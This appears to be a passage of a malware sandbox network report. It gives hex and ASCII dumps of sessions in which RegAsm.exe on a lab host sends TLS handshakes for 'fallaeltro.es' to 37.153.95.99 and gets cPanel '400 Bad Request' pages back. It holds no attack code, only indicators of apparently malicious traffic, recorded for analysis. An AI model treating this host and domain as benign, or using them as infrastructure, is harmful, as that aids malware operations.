61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 11, 2024 16:22:17.173218012 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat
Sep 11, 2024 16:22:17.173228979 CEST	448	IN	Data Raw: 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 Data Ascii: .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Sep 11, 2024 16:22:17.173240900 CEST	1236	IN	Data Raw: 69 6d 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: img { border: 0; } .copyright { font-size: 10px; color: #3F4143; } @media (min-width: 768px) { .additional-info { position: relative;
Sep 11, 2024 16:22:17.173253059 CEST	1236	IN	Data Raw: 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: isplay: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAAAAAAAD/////////////
Sep 11, 2024 16:22:17.173265934 CEST	1236	IN	Data Raw: 76 51 66 45 52 63 69 4d 70 63 61 46 74 57 34 48 38 69 49 30 67 42 32 4d 7a 66 45 63 56 33 67 42 2b 49 6b 66 44 74 62 79 43 41 54 67 74 48 42 37 6c 33 54 72 4b 55 47 32 79 57 4f 65 37 4f 32 4b 59 51 49 50 45 37 78 46 44 31 32 59 76 79 36 53 76 71 Data Ascii: vQfERciMpcaFtW4H8iI0gB2MzfEcV3gB+IkfDtbyCATgtHB7l3TrKUG2yWOe7O2KYQIPE7xFD12Yvy6SvqoLOMf95k+BvgqogCFCx22NdltO1epYc7ycEKSaI9+UAYPGOlKDQYyxDP9Npqv0NKZkS7GuNRQig5pvaYQwdTztjRnCrr/l0b2UgO+wRtMiFCAzqpLL0So+hWmi61Nn3aqKGEzDfFrmEoKqcWSFDRONSrAU0iFYLrH
Sep 11, 2024 16:22:17.173280001 CEST	672	IN	Data Raw: 30 52 49 51 38 44 7a 59 4f 4b 4a 75 39 38 56 30 30 36 4c 62 53 49 6b 76 42 73 52 6c 7a 42 50 59 6b 49 52 49 48 31 37 34 33 69 45 69 65 6c 42 54 34 69 51 52 6b 4e 48 77 55 51 4d 55 74 54 57 58 71 73 69 51 75 67 42 69 77 6c 37 33 4f 4f 72 56 30 52 Data Ascii: 0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkIRIH1743iEielBT4iQRkNHwUQMUtTWXqsiQugBiwl73OOrV0RIq/6+BIPPVVLrbAVAulQKIwAO/9jUKyJk51SmO5wwhpHXac0E3EQEfRIu6TfBYLQn/J3eCcFdE7i4dwmHckWErJsmU7eIsGnLxpVpVETI4kVM3VCUw1+XdRPRaM0k64jL1LEFkBBGRw7ad1ZE+AVH74Xh8NQM/dZM
Sep 11, 2024 16:22:17.173290968 CEST	1236	IN	Data Raw: 58 50 42 4f 66 4f 36 48 4e 37 55 59 6c 4a 6d 75 73 6c 70 57 44 55 54 64 59 61 62 34 4c 32 7a 31 76 34 30 68 50 50 42 76 77 7a 71 4f 6c 75 54 76 68 44 42 56 42 32 61 34 49 79 78 2f 34 55 78 4c 72 78 38 67 6f 79 63 57 30 55 45 67 4f 34 79 32 4c 33 Data Ascii: XPBOfO6HN7UYlJmuslpWDUTdYab4L2z1v40hPPBvwzqOluTvhDBVB2a4Iyx/4UxLrx8goycW0UEgO4y2L3H+Ul5XI/4voc6rZkA3Bpv3njfS/nhR781E54N6t4OeWxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0yNOd1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdC
Sep 11, 2024 16:22:17.173302889 CEST	1236	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 34 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 Data Ascii: nt-size: 450%; } } </style> </head> <body> <div class="container"> <secion class="response-info"> <span class="status-code">400</span> <span class="status-reas
Sep 11, 2024 16:22:17.173312902 CEST	526	IN	Data Raw: 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 Data Ascii: </div> </div> </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49744	37.153.95.99	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:16.515465021 CEST	117	OUT	Data Raw: 16 03 01 00 70 01 00 00 6c 03 01 66 e1 a7 97 97 4e 69 7d 5c 55 43 0f 52 7f 33 d9 62 89 f1 3d df cc 14 0a 95 aa 89 94 28 9c 3f 2d 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 35 00 00 00 12 00 10 00 00 0d 66 61 6c 6c 61 65 6c 74 72 Data Ascii: plfNi}\UCR3b=(?-5/5fallaeltro.es#
Sep 11, 2024 16:22:17.194392920 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 11 Sep 2024 14:22:17 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 11, 2024 16:22:17.194403887 CEST	224	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info {
Sep 11, 2024 16:22:17.194413900 CEST	1236	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 33 41 34 41 3b 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: background-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info a { color: #FFFFFF; } .additional-info-items { padding: 20px 0;
Sep 11, 2024 16:22:17.194425106 CEST	224	IN	Data Raw: 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: erver address { text-align: left; } footer { text-align: center; margin: 60px 0; } footer a { text-decoration: none; } footer a
Sep 11, 2024 16:22:17.194531918 CEST	1236	IN	Data Raw: 69 6d 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: img { border: 0; } .copyright { font-size: 10px; color: #3F4143; } @media (min-width: 768px) { .additional-info { position: relative;
Sep 11, 2024 16:22:17.194973946 CEST	224	IN	Data Raw: 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: isplay: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAA
Sep 11, 2024 16:22:17.194984913 CEST	1236	IN	Data Raw: 41 41 41 41 41 44 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f Data Ascii: AAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////5+fn////////////////////////////////6+vr///////////////////////////////////////+i
Sep 11, 2024 16:22:17.195641041 CEST	1236	IN	Data Raw: 63 57 53 46 44 52 4f 4e 53 72 41 55 30 69 46 59 4c 72 48 55 32 52 4b 42 33 71 2b 48 78 44 48 54 34 4a 4b 45 65 32 70 72 68 78 59 31 61 43 53 35 6c 59 2b 48 6e 58 75 36 4e 2b 78 36 49 4a 43 52 51 51 6d 45 45 7a 2b 59 6a 49 45 2f 78 73 2f 4d 6d 44 Data Ascii: cWSFDRONSrAU0iFYLrHU2RKB3q+HxDHT4JKEe2prhxY1aCS5lY+HnXu6N+x6IJCRQQmEEz+YjIE/xs/MmD8qHRYK5CAHuaTY5jfQxFC/YoIQSSVafrD+WK4H0Piv8SATRZChEXiOs39L/IYwiOxRHgeEKcmbMI9ccHRCdxUeYanFpQJMBUDIFxw1chJiBAomkz3x43l+nuWGmWhkQs0a6Y7YHVe772m1tZlUBEhKI9k6nuLE8bz
Sep 11, 2024 16:22:17.195658922 CEST	1236	IN	Data Raw: 31 5a 45 2b 41 56 48 37 34 58 68 38 4e 51 4d 2f 64 5a 4d 78 56 4b 44 6b 50 43 79 57 6d 62 50 4a 2f 38 75 49 51 4a 2f 58 62 69 4c 38 62 4e 4b 76 76 30 76 57 6c 4c 43 62 30 66 51 6a 52 39 7a 75 55 31 79 2b 73 53 6b 6a 63 71 73 67 50 41 7a 43 56 47 Data Ascii: 1ZE+AVH74Xh8NQM/dZMxVKDkPCyWmbPJ/8uIQJ/XbiL8bNKvv0vWlLCb0fQjR9zuU1y+sSkjcqsgPAzCVGFWzPpYxJM9GAMXhGRinD85xkrCxEomEY7I7j/40IEvjWlJ7wDzjJZtmbCW/cChOPPtlICMGXIAX3QFYQIRcI3Cq2ZNk3tYduunPxIpus8JoLi5e1u2yWN1kxd3UV9VXAdvnjntIksh1V3BSe/DIUIHBdRCMMV6OnH
Sep 11, 2024 16:22:17.195671082 CEST	1236	IN	Data Raw: 6f 65 2b 45 4b 45 50 72 59 6d 67 2b 51 4e 4e 4f 77 33 50 64 43 4c 67 70 42 55 52 4f 50 51 31 38 6d 58 31 5a 45 78 38 70 39 2f 2f 49 69 30 71 63 33 51 69 36 43 6d 41 55 31 64 45 70 44 39 53 41 31 74 54 39 38 2f 47 5a 61 64 76 66 32 39 47 78 50 59 Data Ascii: oe+EKEPrYmg+QNNOw3PdCLgpBUROPQ18mX1ZEx8p9//Ii0qc3Qi6CmAU1dEpD9SA1tT98/GZadvf29GxPYPh9n+MjAuRNg/Hc4WYm8WjT0pABNB7WkAb81kz8fEo5Na0rAQYU8KQEWEPSkAaafnRPiXEGHPCCbcnxphIEPPnhXc9XkRNuHh3Cw8JXteeCV7Zjg/wua8YGl3XvDUPy/c/Avd4/hNDSqegQAAAABJRU5ErkJggg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49747	37.153.95.99	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:17.208945990 CEST	117	OUT	Data Raw: 16 03 01 00 70 01 00 00 6c 03 01 66 e1 a7 98 0b 16 f0 1f e4 27 86 98 1b 3b 22 9a 62 05 f9 ab 9b 7e 0b c8 90 be d3 bd 90 b3 5c bc 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 35 00 00 00 12 00 10 00 00 0d 66 61 6c 6c 61 65 6c 74 72 Data Ascii: plf';"b~\5/5fallaeltro.es#
Sep 11, 2024 16:22:17.873610020 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 11 Sep 2024 14:22:17 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 11, 2024 16:22:17.873620987 CEST	224	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info {
Sep 11, 2024 16:22:17.873794079 CEST	1236	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 33 41 34 41 3b 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: background-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info a { color: #FFFFFF; } .additional-info-items { padding: 20px 0;
Sep 11, 2024 16:22:17.873802900 CEST	224	IN	Data Raw: 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: erver address { text-align: left; } footer { text-align: center; margin: 60px 0; } footer a { text-decoration: none; } footer a
Sep 11, 2024 16:22:17.874291897 CEST	1236	IN	Data Raw: 69 6d 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: img { border: 0; } .copyright { font-size: 10px; color: #3F4143; } @media (min-width: 768px) { .additional-info { position: relative;
Sep 11, 2024 16:22:17.874303102 CEST	1236	IN	Data Raw: 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: isplay: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAAAAAAAD/////////////
Sep 11, 2024 16:22:17.874314070 CEST	1236	IN	Data Raw: 76 51 66 45 52 63 69 4d 70 63 61 46 74 57 34 48 38 69 49 30 67 42 32 4d 7a 66 45 63 56 33 67 42 2b 49 6b 66 44 74 62 79 43 41 54 67 74 48 42 37 6c 33 54 72 4b 55 47 32 79 57 4f 65 37 4f 32 4b 59 51 49 50 45 37 78 46 44 31 32 59 76 79 36 53 76 71 Data Ascii: vQfERciMpcaFtW4H8iI0gB2MzfEcV3gB+IkfDtbyCATgtHB7l3TrKUG2yWOe7O2KYQIPE7xFD12Yvy6SvqoLOMf95k+BvgqogCFCx22NdltO1epYc7ycEKSaI9+UAYPGOlKDQYyxDP9Npqv0NKZkS7GuNRQig5pvaYQwdTztjRnCrr/l0b2UgO+wRtMiFCAzqpLL0So+hWmi61Nn3aqKGEzDfFrmEoKqcWSFDRONSrAU0iFYLrH
Sep 11, 2024 16:22:17.874325037 CEST	672	IN	Data Raw: 30 52 49 51 38 44 7a 59 4f 4b 4a 75 39 38 56 30 30 36 4c 62 53 49 6b 76 42 73 52 6c 7a 42 50 59 6b 49 52 49 48 31 37 34 33 69 45 69 65 6c 42 54 34 69 51 52 6b 4e 48 77 55 51 4d 55 74 54 57 58 71 73 69 51 75 67 42 69 77 6c 37 33 4f 4f 72 56 30 52 Data Ascii: 0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkIRIH1743iEielBT4iQRkNHwUQMUtTWXqsiQugBiwl73OOrV0RIq/6+BIPPVVLrbAVAulQKIwAO/9jUKyJk51SmO5wwhpHXac0E3EQEfRIu6TfBYLQn/J3eCcFdE7i4dwmHckWErJsmU7eIsGnLxpVpVETI4kVM3VCUw1+XdRPRaM0k64jL1LEFkBBGRw7ad1ZE+AVH74Xh8NQM/dZM
Sep 11, 2024 16:22:17.874336958 CEST	1236	IN	Data Raw: 58 50 42 4f 66 4f 36 48 4e 37 55 59 6c 4a 6d 75 73 6c 70 57 44 55 54 64 59 61 62 34 4c 32 7a 31 76 34 30 68 50 50 42 76 77 7a 71 4f 6c 75 54 76 68 44 42 56 42 32 61 34 49 79 78 2f 34 55 78 4c 72 78 38 67 6f 79 63 57 30 55 45 67 4f 34 79 32 4c 33 Data Ascii: XPBOfO6HN7UYlJmuslpWDUTdYab4L2z1v40hPPBvwzqOluTvhDBVB2a4Iyx/4UxLrx8goycW0UEgO4y2L3H+Ul5XI/4voc6rZkA3Bpv3njfS/nhR781E54N6t4OeWxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0yNOd1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdC
Sep 11, 2024 16:22:17.874350071 CEST	1236	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 34 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 Data Ascii: nt-size: 450%; } } </style> </head> <body> <div class="container"> <secion class="response-info"> <span class="status-code">400</span> <span class="status-reas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49748	37.153.95.99	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:17.210520029 CEST	117	OUT	Data Raw: 16 03 01 00 70 01 00 00 6c 03 01 66 e1 a7 98 b1 35 3c 66 e2 4a 35 7f ec 13 57 5b 03 a4 20 df e2 af 91 98 16 4b 6a 97 fe 65 d2 d9 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 35 00 00 00 12 00 10 00 00 0d 66 61 6c 6c 61 65 6c 74 72 Data Ascii: plf5<fJ5W[ Kje5/5fallaeltro.es#
Sep 11, 2024 16:22:17.873578072 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 11 Sep 2024 14:22:17 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
